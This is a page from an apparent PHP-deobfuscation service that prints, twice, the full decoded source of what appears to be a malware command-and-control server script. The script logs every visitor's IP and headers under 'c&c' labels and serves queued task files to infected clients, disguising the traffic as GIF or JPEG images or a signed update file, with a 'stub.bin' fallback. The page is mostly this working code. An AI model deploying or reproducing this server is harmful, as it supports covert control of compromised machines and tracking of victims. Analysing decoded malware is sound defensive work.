Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php @ini_set('memory_limit', '512M'); @set_time_limit(0); define("_DEF_LIB_DIR_",..
Decoded Output download
<?php
@ini_set('memory_limit', '512M');
@set_time_limit(0);
define("_DEF_LIB_DIR_","./lib/");
define("_DEF_COM_LG", "log");
define("_DEF_TK_DIR_","./in");
define("_DEF_DAT_DR","./data");
define("_DEF_L_T_N_", "c.tar");
define("_DEF_ESTE_SIGNATURE_", "update.ver.signed");
date_default_timezone_set("GMT");
$Vip3ftxfmfbl = "c_".date("Y.m.d.H.i.s"."_");
$Vv1hiua0kb0z = uniqid($Vip3ftxfmfbl, true);
if (!function_exists('getallheaders'))
{
function getallheaders()
{
$V3esiqspvyn3 = [];
foreach ($_SERVER as $V3py0gk2we0y => $Vtzk15srrfqt)
{
if (substr($V3py0gk2we0y, 0, 5) == 'HTTP_')
{
$V3esiqspvyn3[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($V3py0gk2we0y, 5)))))] = $Vtzk15srrfqt;
}
}
return $V3esiqspvyn3;
}
}
abstract class Mode
{
const JPEG = 1;
const GIF = 2;
const ESTE = 3;
}
function commonlgwr($Vrklbfck0aht)
{
$Vwxqsaosfako = fopen(_DEF_COM_LG, "a");
if(false != $Vwxqsaosfako)
{
$Vndunospv0fp = date("y/m/d/H/i");
$Vjikqws222ff = fwrite($Vwxqsaosfako, $Vrklbfck0aht."
");
fclose($Vwxqsaosfako);
}
}
function inslgad($Vrklbfck0aht)
{
global $Vv1hiua0kb0z ;
$Vsi2onfiaiyw = _DEF_DAT_DR."/log" ;
$Vwxqsaosfako = fopen($Vsi2onfiaiyw, "a");
if(false != $Vwxqsaosfako)
{
if($Vrklbfck0aht == "
")
{
fwrite($Vwxqsaosfako, "
");
}
else
{
fwrite($Vwxqsaosfako, "c&c: ".$Vrklbfck0aht."
");
}
fclose($Vwxqsaosfako);
}
}
function ristc($Vjsubqjgdczj)
{
if(irged($Vjsubqjgdczj))
{
return true;
}
else
{
if(crqdir($Vjsubqjgdczj))
{
inslgad("reg");
return true;
}
}
return false;
}
function irged($Vjsubqjgdczj)
{
$Vcalref42hhl = _DEF_DAT_DR."/".$Vjsubqjgdczj."/in";
return is_dir($Vcalref42hhl);
}
function crqdir($Vjsubqjgdczj)
{
$Vcalref42hhl = _DEF_DAT_DR."/".$Vjsubqjgdczj."/in";
return mkdir($Vcalref42hhl, 0777, TRUE);
}
function sdtk()
{
$Vmfuxmxgiezs = false;
if(true == is_dir(_DEF_DAT_DR))
{
$Vcalref42hhl = _DEF_DAT_DR."/in";
if(true == is_dir($Vcalref42hhl))
{
$V5c1lx44uuvd = scandir($Vcalref42hhl);
if(false != $V5c1lx44uuvd && !empty($V5c1lx44uuvd)) {
foreach($V5c1lx44uuvd as $Ve1vfqaxtuae){
$V3gxaqlz2kx3 = $Vcalref42hhl."/".$Ve1vfqaxtuae;
if(!is_dir($V3gxaqlz2kx3)){
$Vwxqsaosfako = fopen($V3gxaqlz2kx3, "rb");
if(false != $Vwxqsaosfako)
{
$len = filesize($V3gxaqlz2kx3);
header("Content-Length: $len");
if(fpassthru($Vwxqsaosfako) > 0)
{
$Vmfuxmxgiezs = true;
fclose($Vwxqsaosfako);
//unlink($V3gxaqlz2kx3);
break;
}
}
}
}
}
}
}
return $Vmfuxmxgiezs;
}
function deldir($Vx0uykmfcgyq)
{
if (is_dir($Vx0uykmfcgyq))
$Vig24lesbobu = opendir($Vx0uykmfcgyq);
if (!$Vig24lesbobu)
return false;
while($Ve1vfqaxtuae = readdir($Vig24lesbobu))
{
if ($Ve1vfqaxtuae != "." && $Ve1vfqaxtuae != "..")
{
if (!is_dir($Vx0uykmfcgyq."/".$Ve1vfqaxtuae))
unlink($Vx0uykmfcgyq."/".$Ve1vfqaxtuae);
else
deldir($Vx0uykmfcgyq.'/'.$Ve1vfqaxtuae);
}
}
closedir($Vig24lesbobu);
rmdir($Vx0uykmfcgyq);
return true;
}
function grntag()
{
$V5yhrbnkimxd = "";
$Vweaegjqfld2 = "0123456789abcdef";
for($Vtnmedm51lmb = 0; $Vtnmedm51lmb < 12; $Vtnmedm51lmb++)
{
$V5yhrbnkimxd .= $Vweaegjqfld2 [random_int(0, strlen($Vweaegjqfld2 )-1)];
}
return substr_replace($V5yhrbnkimxd, ":", 8, 0);
}
function main()
{
$Vtnmedm51lmbp = $_SERVER['REMOTE_ADDR'];
$Vkoaphzpvhvy = "UA n set";
if(isset($_SERVER['HTTP_USER_AGENT']))
{
$Vkoaphzpvhvy = $_SERVER['HTTP_USER_AGENT'];
}
commonlgwr($Vtnmedm51lmbp);
commonlgwr(date("Y/m/d H:i:s"));
commonlgwr("c&c(".$_SERVER["REQUEST_METHOD"].")");
$V3esiqspvyn3 = getallheaders();
foreach($V3esiqspvyn3 as $V4wkb2koudg0 => $Vtzk15srrfqt)
{
commonlgwr($V4wkb2koudg0.":".$Vtzk15srrfqt);
}
$V4vk0rr4o4fd = null;
$Vntrn2t2qtag = strtolower($_SERVER["REQUEST_URI"]);
$Vnwalyne1v3f = basename($Vntrn2t2qtag);
if (strstr($Vnwalyne1v3f, _DEF_ESTE_SIGNATURE_))
{
$V4vk0rr4o4fd = Mode::ESTE;
header("Content-Type: application/octet-stream");
$Vvexz0ciim01 = new DateTime();
$Vvexz0ciim01->sub(new DateInterval("PT1H"));
#Last-Modified: Thu, 13 Oct 2022 09:51:00 GMT
header("Last-Modified: ".str_replace("+0000","GMT",$Vvexz0ciim01->format(DateTime::RFC2822)));
header("Vary: Accept-Encoding");
header("ETag: \"".grntag()."\"");
#header("Content-Encoding: gzip");
$Vvexz0ciim01->add(new DateInterval("PT3H"));
header("Expires: ".str_replace("+0000","GMT",$Vvexz0ciim01->format(DateTime::RFC2822)));
header("Keep-Alive: timeout=5, max=99");
header("Connection: Keep-Alive");
}
else if (strstr($Vnwalyne1v3f, ".gif"))
{
$V4vk0rr4o4fd = Mode::GIF;
header("Content-Type: image/gif");
}
else if (strstr($Vnwalyne1v3f, ".jpeg") || strstr($Vnwalyne1v3f, ".jpg"))
{
$V4vk0rr4o4fd = Mode::JPEG;
header("Content-Type: image/jpeg");
}
else
{
commonlgwr("mode -");
}
if($V4vk0rr4o4fd != null)
{
header("Cache-Control: no-cache,no-store, must-revalidate");
header("Pragma: no-cache");
header("Expiries: 0");
if($_SERVER["REQUEST_METHOD"] == "GET")
{
if(sdtk() )
{
commonlgwr("sent");
}
else
{
$Veyvf4xzopmb = "";
if ($V4vk0rr4o4fd == Mode::GIF)
{
$Veyvf4xzopmb = _DEF_LIB_DIR_."logo.gif";
}
else if ($V4vk0rr4o4fd == Mode::JPEG)
{
$Veyvf4xzopmb = _DEF_LIB_DIR_."logo.jpg";
}
else if ($V4vk0rr4o4fd == Mode::ESTE)
{
$Veyvf4xzopmb = _DEF_LIB_DIR_."stub.bin";
}
else
{
return;
}
$len = filesize($Veyvf4xzopmb);
header("Content-Length: $len");
$Vvep1l3ly3ez = fopen($Veyvf4xzopmb, 'rb');
fpassthru($Vvep1l3ly3ez);
fclose($Vvep1l3ly3ez);
commonlgwr("Stub s");
}
}
else
{
commonlgwr("POST(rejected)");
}
}
commonlgwr("==============================================");
}
main()
?>
Did this file decode correctly?
Original Code
<?php
@ini_set('memory_limit', '512M');
@set_time_limit(0);
define("_DEF_LIB_DIR_","./lib/");
define("_DEF_COM_LG", "log");
define("_DEF_TK_DIR_","./in");
define("_DEF_DAT_DR","./data");
define("_DEF_L_T_N_", "c.tar");
define("_DEF_ESTE_SIGNATURE_", "update.ver.signed");
date_default_timezone_set("GMT");
$Vip3ftxfmfbl = "c_".date("Y.m.d.H.i.s"."_");
$Vv1hiua0kb0z = uniqid($Vip3ftxfmfbl, true);
if (!function_exists('getallheaders'))
{
function getallheaders()
{
$V3esiqspvyn3 = [];
foreach ($_SERVER as $V3py0gk2we0y => $Vtzk15srrfqt)
{
if (substr($V3py0gk2we0y, 0, 5) == 'HTTP_')
{
$V3esiqspvyn3[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($V3py0gk2we0y, 5)))))] = $Vtzk15srrfqt;
}
}
return $V3esiqspvyn3;
}
}
abstract class Mode
{
const JPEG = 1;
const GIF = 2;
const ESTE = 3;
}
function commonlgwr($Vrklbfck0aht)
{
$Vwxqsaosfako = fopen(_DEF_COM_LG, "a");
if(false != $Vwxqsaosfako)
{
$Vndunospv0fp = date("y/m/d/H/i");
$Vjikqws222ff = fwrite($Vwxqsaosfako, $Vrklbfck0aht."\n");
fclose($Vwxqsaosfako);
}
}
function inslgad($Vrklbfck0aht)
{
global $Vv1hiua0kb0z ;
$Vsi2onfiaiyw = _DEF_DAT_DR."/log" ;
$Vwxqsaosfako = fopen($Vsi2onfiaiyw, "a");
if(false != $Vwxqsaosfako)
{
if($Vrklbfck0aht == "\n")
{
fwrite($Vwxqsaosfako, "\n");
}
else
{
fwrite($Vwxqsaosfako, "c&c:\t".$Vrklbfck0aht."\n");
}
fclose($Vwxqsaosfako);
}
}
function ristc($Vjsubqjgdczj)
{
if(irged($Vjsubqjgdczj))
{
return true;
}
else
{
if(crqdir($Vjsubqjgdczj))
{
inslgad("reg");
return true;
}
}
return false;
}
function irged($Vjsubqjgdczj)
{
$Vcalref42hhl = _DEF_DAT_DR."/".$Vjsubqjgdczj."/in";
return is_dir($Vcalref42hhl);
}
function crqdir($Vjsubqjgdczj)
{
$Vcalref42hhl = _DEF_DAT_DR."/".$Vjsubqjgdczj."/in";
return mkdir($Vcalref42hhl, 0777, TRUE);
}
function sdtk()
{
$Vmfuxmxgiezs = false;
if(true == is_dir(_DEF_DAT_DR))
{
$Vcalref42hhl = _DEF_DAT_DR."/in";
if(true == is_dir($Vcalref42hhl))
{
$V5c1lx44uuvd = scandir($Vcalref42hhl);
if(false != $V5c1lx44uuvd && !empty($V5c1lx44uuvd)) {
foreach($V5c1lx44uuvd as $Ve1vfqaxtuae){
$V3gxaqlz2kx3 = $Vcalref42hhl."/".$Ve1vfqaxtuae;
if(!is_dir($V3gxaqlz2kx3)){
$Vwxqsaosfako = fopen($V3gxaqlz2kx3, "rb");
if(false != $Vwxqsaosfako)
{
$len = filesize($V3gxaqlz2kx3);
header("Content-Length: $len");
if(fpassthru($Vwxqsaosfako) > 0)
{
$Vmfuxmxgiezs = true;
fclose($Vwxqsaosfako);
//unlink($V3gxaqlz2kx3);
break;
}
}
}
}
}
}
}
return $Vmfuxmxgiezs;
}
function deldir($Vx0uykmfcgyq)
{
if (is_dir($Vx0uykmfcgyq))
$Vig24lesbobu = opendir($Vx0uykmfcgyq);
if (!$Vig24lesbobu)
return false;
while($Ve1vfqaxtuae = readdir($Vig24lesbobu))
{
if ($Ve1vfqaxtuae != "." && $Ve1vfqaxtuae != "..")
{
if (!is_dir($Vx0uykmfcgyq."/".$Ve1vfqaxtuae))
unlink($Vx0uykmfcgyq."/".$Ve1vfqaxtuae);
else
deldir($Vx0uykmfcgyq.'/'.$Ve1vfqaxtuae);
}
}
closedir($Vig24lesbobu);
rmdir($Vx0uykmfcgyq);
return true;
}
function grntag()
{
$V5yhrbnkimxd = "";
$Vweaegjqfld2 = "0123456789abcdef";
for($Vtnmedm51lmb = 0; $Vtnmedm51lmb < 12; $Vtnmedm51lmb++)
{
$V5yhrbnkimxd .= $Vweaegjqfld2 [random_int(0, strlen($Vweaegjqfld2 )-1)];
}
return substr_replace($V5yhrbnkimxd, ":", 8, 0);
}
function main()
{
$Vtnmedm51lmbp = $_SERVER['REMOTE_ADDR'];
$Vkoaphzpvhvy = "UA n set";
if(isset($_SERVER['HTTP_USER_AGENT']))
{
$Vkoaphzpvhvy = $_SERVER['HTTP_USER_AGENT'];
}
commonlgwr($Vtnmedm51lmbp);
commonlgwr(date("Y/m/d H:i:s"));
commonlgwr("c&c(".$_SERVER["REQUEST_METHOD"].")");
$V3esiqspvyn3 = getallheaders();
foreach($V3esiqspvyn3 as $V4wkb2koudg0 => $Vtzk15srrfqt)
{
commonlgwr($V4wkb2koudg0.":".$Vtzk15srrfqt);
}
$V4vk0rr4o4fd = null;
$Vntrn2t2qtag = strtolower($_SERVER["REQUEST_URI"]);
$Vnwalyne1v3f = basename($Vntrn2t2qtag);
if (strstr($Vnwalyne1v3f, _DEF_ESTE_SIGNATURE_))
{
$V4vk0rr4o4fd = Mode::ESTE;
header("Content-Type: application/octet-stream");
$Vvexz0ciim01 = new DateTime();
$Vvexz0ciim01->sub(new DateInterval("PT1H"));
#Last-Modified: Thu, 13 Oct 2022 09:51:00 GMT
header("Last-Modified: ".str_replace("+0000","GMT",$Vvexz0ciim01->format(DateTime::RFC2822)));
header("Vary: Accept-Encoding");
header("ETag: \"".grntag()."\"");
#header("Content-Encoding: gzip");
$Vvexz0ciim01->add(new DateInterval("PT3H"));
header("Expires: ".str_replace("+0000","GMT",$Vvexz0ciim01->format(DateTime::RFC2822)));
header("Keep-Alive: timeout=5, max=99");
header("Connection: Keep-Alive");
}
else if (strstr($Vnwalyne1v3f, ".gif"))
{
$V4vk0rr4o4fd = Mode::GIF;
header("Content-Type: image/gif");
}
else if (strstr($Vnwalyne1v3f, ".jpeg") || strstr($Vnwalyne1v3f, ".jpg"))
{
$V4vk0rr4o4fd = Mode::JPEG;
header("Content-Type: image/jpeg");
}
else
{
commonlgwr("mode -");
}
if($V4vk0rr4o4fd != null)
{
header("Cache-Control: no-cache,no-store, must-revalidate");
header("Pragma: no-cache");
header("Expiries: 0");
if($_SERVER["REQUEST_METHOD"] == "GET")
{
if(sdtk() )
{
commonlgwr("sent");
}
else
{
$Veyvf4xzopmb = "";
if ($V4vk0rr4o4fd == Mode::GIF)
{
$Veyvf4xzopmb = _DEF_LIB_DIR_."logo.gif";
}
else if ($V4vk0rr4o4fd == Mode::JPEG)
{
$Veyvf4xzopmb = _DEF_LIB_DIR_."logo.jpg";
}
else if ($V4vk0rr4o4fd == Mode::ESTE)
{
$Veyvf4xzopmb = _DEF_LIB_DIR_."stub.bin";
}
else
{
return;
}
$len = filesize($Veyvf4xzopmb);
header("Content-Length: $len");
$Vvep1l3ly3ez = fopen($Veyvf4xzopmb, 'rb');
fpassthru($Vvep1l3ly3ez);
fclose($Vvep1l3ly3ez);
commonlgwr("Stub s");
}
}
else
{
commonlgwr("POST(rejected)");
}
}
commonlgwr("==============================================");
}
main()
?>
Function Calls
None |
Stats
MD5 | 0554cb49998c29ccd6395048763ad6ef |
Eval Count | 0 |
Decode Time | 63 ms |